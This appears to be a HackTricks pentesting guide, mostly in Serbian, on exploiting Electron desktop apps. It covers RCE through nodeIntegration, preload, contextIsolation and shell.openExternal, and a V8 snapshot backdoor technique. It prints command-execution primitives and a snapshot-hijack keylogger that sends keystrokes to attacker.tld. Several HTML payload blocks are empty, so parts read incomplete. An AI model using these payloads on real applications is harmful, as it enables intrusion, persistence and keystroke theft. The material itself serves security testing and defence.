# Electron Desktop aplikacije {{#include ../../../banners/hacktricks-training.md}} ## Uvod Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pregledača. Obično možete pronaći kod Electron aplikacije unutar `.asar` fajla; da biste dobili kod, potrebno je da ga izdvojite: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` U izvornom kodu Electron aplikacije, u datoteci `packet.json`, može se naći naveden fajl `main.js` u kojem su podešene sigurnosne konfiguracije. ```json { "name": "standard-notes", "main": "./app/index.js", ``` Electron ima 2 tipa procesa: - Glavni proces (ima potpuni pristup NodeJS) - Renderer proces (trebalo bi da ima ograničen pristup NodeJS iz bezbednosnih razloga) ![](<../../../images/image (182).png>) **Renderer proces** će biti prozor pregledača koji učitava fajl: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` Podešavanja **renderer procesa** mogu se **konfigurisati** u **main procesu** unutar fajla main.js. Neka podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno postavljena**. Electron aplikacija **može pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči: - **`nodeIntegration`** - je podrazumevano `off`. Ako je `on`, omogućava pristup node funkcijama iz renderer procesa. - **`contextIsolation`** - je podrazumevano `on`. Ako je `off`, main i renderer procesi nisu izolovani. - **`preload`** - podrazumevano prazan. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati. - Node Integration in Workers - **`nodeIntegrationInSubframes`**- je podrazumevano `off`. - Ako je **`nodeIntegration`** omogućen, to bi dozvolilo korišćenje **Node.js APIs** u web stranicama koje su **učitane u iframes** unutar Electron aplikacije. - Ako je **`nodeIntegration`** onemogućen, tada će se preloads učitati u iframe Example of configuration: ```javascript const mainWindowOptions = { title: "Discord", backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: "EnumerateDevices,AudioOutputDevices", nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, "mainScreenPreload.js"), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true, }, } ``` Neki **RCE payloads** iz [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### Snimanje saobraćaja Izmenite konfiguraciju start-main i dodajte upotrebu proxy-ja, na primer: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection Ako možete lokalno pokrenuti Electron App, moguće je da biste mogli naterati da izvrši proizvoljan javascript kod. Pogledajte kako u: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} ## RCE: XSS + nodeIntegration Ako je **nodeIntegration** postavljen na **on**, JavaScript na web stranici može lako koristiti Node.js funkcije samo pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windows je: ```html ```
## RCE: preload Skript označen u ovom podešavanju se **učitava pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` Dakle, skripta može da izveze node-features na stranice: ```javascript:preload.js typeof require === "function" window.runCalc = function () { require("child_process").exec("calc") } ``` ```html:index.html ``` > [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi** ## RCE: XSS + contextIsolation The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. Ako konteksti nisu izolovani, napadač može: 1. Execute **arbitrary JavaScript in renderer** (XSS ili navigaciju ka eksternim sajtovima) 2. **Overwrite the built-in method** koja se koristi u preload ili Electron internal code da bi preuzeo kontrolu nad funkcijom 3. **Trigger** upotrebu **overwritten function** 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} ### Zaobilaženje click event-a Ako postoje ograničenja primenjena pri kliku na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto regularnog levog klika ```javascript window.addEventListener('click', (e) => { ``` ## RCE preko shell.openExternal Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Prilikom deploy-a Electron desktop aplikacije, pravilna podešavanja za `nodeIntegration` i `contextIsolation` su ključna. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron native code iz main process-a bude efikasno sprečena kada su ova podešavanja uključena. Kada korisnik interaguje sa linkovima ili otvara nova prozore, specifični event listeners se aktiviraju, koji su ključni za bezbednost i funkcionalnost aplikacije: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` Ovi slušači su **nadjačani od strane desktop aplikacije** da implementiraju sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li link na koji se navigira treba biti otvoren interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju, `openInternally`. Ako ta funkcija vrati `false`, to pokazuje da link treba biti otvoren eksterno, koristeći funkciju `shell.openExternal`. **Here is a simplified pseudocode:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability. Na macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, na primer: `shell.openExternal('file:///System/Applications/Calculator.app')`. **Primeri Windows protocol exploits uključuju:** ```html ``` ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal Ova ranjivost može se naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. **webviewTag** je **zastarela funkcija** koja omogućava korišćenje **NodeJS** u **renderer process**-u, što bi trebalo onemogućiti jer dozvoljava učitavanje skripte unutar preload konteksta kao: ```xml ``` Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi koristiti taj tag da **učita proizvoljan preload script**. Ovu preload skriptu su potom zloupotrebili da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala pozivala **`shell.openExternal`** da dobije RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000); })(); ``` ## Čitanje unutrašnjih fajlova: XSS + `contextIsolation` **Onemogućavanje `contextIsolation` omogućava korišćenje `` tagova**, slično ` ``` ## **RCE: XSS + Stari chromium** Ako je **chromium** koji aplikacija koristi **star** i postoje **poznate** **ranjivosti** na njemu, možda je moguće da **iskoristite ih i dobijete RCE kroz XSS**.\ You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing putem obilaženja Internal URL regex-a** Pretpostavimo da ste našli XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove** — možete pokušati da ga iskoristite za **ukrasti credentials putem phishinga**. Prvo treba da znate šta se dešava kada pokušate da otvorite novi URL, proverom JS koda u front-endu: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` Poziv ka **`openInternally`** odlučiće da li će se **link** **otvoriti** u **desktop prozoru** jer pripada platformi, **ili** da li će biti otvoren u **browseru kao resurs treće strane**. U slučaju da je **regex** koji funkcija koristi **ranjiv na bypass-e** (na primer zbog **ne-escape-ovanja tačaka u subdomenima**) napadač bi mogao iskoristiti XSS da **otvori novi prozor koji** će se nalaziti u napadačevoj infrastrukturi i **tražiti kredencijale** od korisnika: ```html ``` ## `file://` Protokol Kao što je pomenuto u [dokumentaciji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) stranice koje se pokreću na **`file://`** imaju jedinstven pristup svim fajlovima na vašem računaru, što znači da se zbog **XSS problema može učitati proizvoljan fajl** sa korisnikovog računara. Korišćenje **custom protocol** sprečava ovakve probleme jer možete ograničiti protokol da služi samo određeni skup fajlova. ## Remote modul Electron Remote modul omogućava **renderer procesima da pristupe API-jevima main procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne sigurnosne rizike. Ono povećava attack surface aplikacije, čineći je podložnijom ranjivostima kao što su cross-site scripting (XSS) napadi. > [!TIP] > Iako **remote** modul izlaže neke API-je iz main ka renderer procesima, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu otkriti osetljive informacije. > [!WARNING] > Mnoge aplikacije koje i dalje koriste remote modul to rade na način koji zahteva da bude omogućeno **NodeIntegration** u renderer procesu, što predstavlja **ogroman sigurnosni rizik**. Od Electron 14 `remote` modul može biti omogućen na nekoliko načina; zbog sigurnosnih i performansnih razloga, **preporučuje se da se ne koristi**. Da biste ga omogućili, prvo je potrebno **omogućiti ga u main procesu**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() [...] function createMainWindow() { mainWindow = new BrowserWindow({ [...] }) remoteMain.enable(mainWindow.webContents) ``` Zatim, renderer process može da importuje objekte iz modula na sledeći način: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula: - **`app.relaunch([options])`** - **Restartuje** aplikaciju tako što **zatvara** trenutnu instancu i **pokreće** novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**. - **`app.setAppLogsPath([path])`** - **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registruje** trenutni izvršni fajl kao **podrazumevani program za rukovanje** određenim **protokolom**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi. - **`app.setUserTasks(tasks)`** - **Dodaje** zadatke u **Tasks category** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju. - **`app.importCertificate(options, callback)`** - **Uvozi** **PKCS#12 certificate** u sistemsko **skladište sertifikata** (samo Linux). **Callback** se može koristiti za obradu rezultata. - **`app.moveToApplicationsFolder([options])`** - **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za Mac korisnike. - **`app.setJumpList(categories)`** - **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku. - **`app.setLoginItemSettings(settings)`** - **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **logovanju** zajedno sa njihovim **opcijama** (samo macOS i Windows). Example: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences modul To je **primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** sve su **deo** ovog modula. **Primer upotrebe:** ```javascript const { systemPreferences } = require('electron'); // Subscribe to a specific notification systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { console.log('Received custom notification:', userInfo); }); // Get a user default key from macOS const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** * **Sluša** nativne macOS notifikacije koristeći NSDistributedNotificationCenter. * Pre **macOS Catalina**, moglo se presretati **sve** distribuirane notifikacije prosleđivanjem **nil** u CFNotificationCenterAddObserver. * Posle **Catalina / Big Sur**, sandboxovane aplikacije i dalje mogu da se **pretplate** na **mnoge događaje** (npr. **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registracijom notifikacija **po imenu**. ### **getUserDefault / setUserDefault** * **Komunicira** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preference na macOS. * **getUserDefault** može **dohvatiti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**. * **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na **konfiguraciju** aplikacije. * U **starijim verzijama Electron-a** (pre v8.3.0), bio je dostupan samo **standardni skup** NSUserDefaults. ## Shell.showItemInFolder Ova funkcija prikazuje dati fajl u upravitelju fajlova, što **može automatski izvršiti fajl**. For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy Electron aplikacije treba da imaju **Content Security Policy (CSP)** da **spreče XSS napade**. **CSP** je **sigurnosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u browseru. Obično se **konfiguriše** u **`main.js`** fajlu ili u **`index.html`** šablonu sa CSP unutar **meta taga**. For more information check: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) Ovaj stvarni lanac je pogodio Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje kako jedan markdown-driven XSS u webview-u može eskalirati u potpuni RCE kada su CSP, postMessage i scheme handleri pogrešno konfigurirani. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt Pregled lanca napada - Prvi XSS preko webview CSP: Generisana CSP je uključivala `style-src 'self' 'unsafe-inline'`, dozvoljavajući inline/style-baziranu injekciju u `vscode-webview://` kontekstu. Payload je beacon-ovao na `/stealID` da eksfiltruje extensionId ciljanog webview-a. - Konstrukcija URL-a ciljanog webview-a: korišćenje leaked ID-a za izgradnju `vscode-webview:///.../`. - Drugi XSS preko poverenja u postMessage: Spoljni webview je verovao `window.postMessage` bez strogih provera origin/type i učitao napadačev HTML sa `allowScripts: true`. - Učitavanje lokalnog fajla kroz prepisivanje scheme/putanje: Payload je prepisao `file:///...` u `vscode-file://vscode-app/...` i zamenio `exploit.md` sa `RCE.html`, zloupotrebljavajući slabu validaciju putanje da bi učitao privilegovani lokalni resurs. - RCE u Node-om omogućenom kontekstu: Učitani HTML se izvršio sa dostupnim Node API-jima, što je omogućilo izvršavanje OS komandi. Primer RCE primitiva u finalnom kontekstu ```js // RCE.html (executed in a Node-enabled webview context) require('child_process').exec('calc.exe'); // Windows require('child_process').exec('/System/Applications/Calculator.app'); // macOS ``` Povezano štivo o problemima poverenja u postMessage: {{#ref}} ../../../pentesting-web/postmessage-vulnerabilities/README.md {{#endref}} ## **Alati** - [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje pogrešnih konfiguracija i bezbednosnih anti-uzoraka u Electron-based applications. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code plugin za Electron applications koji koristi Electronegativity. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana - [**Electro.ng**](https://electro.ng/): Potrebno ga je kupiti ## Labovi Na [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći lab za exploit vulnerable Electron apps. Neke komande koje će vam pomoći sa labom: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## Lokalno backdooring putem V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 Electron i aplikacije zasnovane na Chromium-u deserializuju prebuilt V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da inicijalizuju svaki V8 isolate (main, preload, renderer). Istorijski, Electron’s integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegle i fuse-based integrity enforcement i OS code-signing provere. Kao rezultat, zamena snapshot-a u instalaciji koja je upisiva od strane korisnika omogućavala stealthy, persistent code execution unutar aplikacije bez menjanja potpisanih binarnih fajlova ili ASAR. Ključne tačke - Propust u proveri integriteta: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar vrše validaciju app JavaScript-a unutar ASAR, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium isto tako ne vrši integrity-check snapshot-a. - Uslovi za napad: Lokalni upis fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron apps ili Chromium browsers instalirani u putanje koje su upisive od strane korisnika (npr. %AppData%\Local na Windows; /Applications uz određene napomene na macOS). - Efekat: Pouzdano izvršavanje attacker JavaScript-a u bilo kom isolate-u prepisivanjem često korišćenog builtin-a (a “gadget”), omogućavajući persistence i izbegavanje code-signing verifikacije. - Pogođena površina: Electron apps (čak i sa uključenim fuses) i Chromium-based browsers koji učitavaju snapshots iz lokacija upisivih od strane korisnika. Generisanje malicioznog snapshot-a bez build-ovanja Chromium-a - Koristite prebuilt electron/mksnapshot da kompajlirate payload JS u snapshot i prepišete aplikacioni v8_context_snapshot.bin. Primer minimalnog payload-a (potvrdite izvršavanje prisilnim crash-om) ```js // Build snapshot from this payload // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" // Replace the application’s v8_context_snapshot.bin with the generated file const orig = Array.isArray; // Use Array.isArray as a ubiquitous gadget Array.isArray = function () { // Executed whenever the app calls Array.isArray throw new Error("testing isArray gadget"); }; ``` Isolate-aware payload routing (pokretanje različitog koda u main i renderer) - Detekcija main procesa: Globalne promenljive specifične za Node, poput process.pid, process.binding(), ili process.dlopen, prisutne su u main process isolate. - Detekcija Browser/renderer: Globalne promenljive specifične za browser, kao što je alert, dostupne su kada se izvršava u kontekstu dokumenta. Primer gadgeta koji jednom ispituje Node mogućnosti main procesa ```js const orig = Array.isArray; Array.isArray = function() { // Defer until we land in main (has Node process) try { if (!process || !process.pid) { return orig(...arguments); } } catch (_) { return orig(...arguments); } // Run once if (!globalThis._invoke_lock) { globalThis._invoke_lock = true; console.log('[payload] isArray hook started ...'); // Capability probing in main console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`); console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`); console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`); console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`); process.exit(0); } return orig(...arguments); }; ``` PoC krađe podataka u Renderer/browser-context (npr. Slack) ```js const orig = Array.isArray; Array.isArray = function() { // Wait for a browser context try { if (!alert) { return orig(...arguments); } } catch (_) { return orig(...arguments); } if (!globalThis._invoke_lock) { globalThis._invoke_lock = true; setInterval(() => { window.onkeydown = (e) => { fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'}) } }, 1000); } return orig(...arguments); }; ``` Operator workflow 1) Napišite payload.js koji clobbers a common builtin (e.g., Array.isArray) i opciono pravi grane po isolate. 2) Build the snapshot without Chromium sources: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" 3) Overwrite the target application’s snapshot file(s): - v8_context_snapshot.bin (always used) - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) 4) Launch the application; the gadget executes whenever the chosen builtin is used. Notes and considerations - Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. - Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. - Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. Detection and mitigations - Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). - Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. - Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. ## **References** - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) - [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots) - [electron/mksnapshot](https://github.com/electron/mksnapshot) - [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/) - [Loki C2](https://github.com/boku7/Loki/) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}}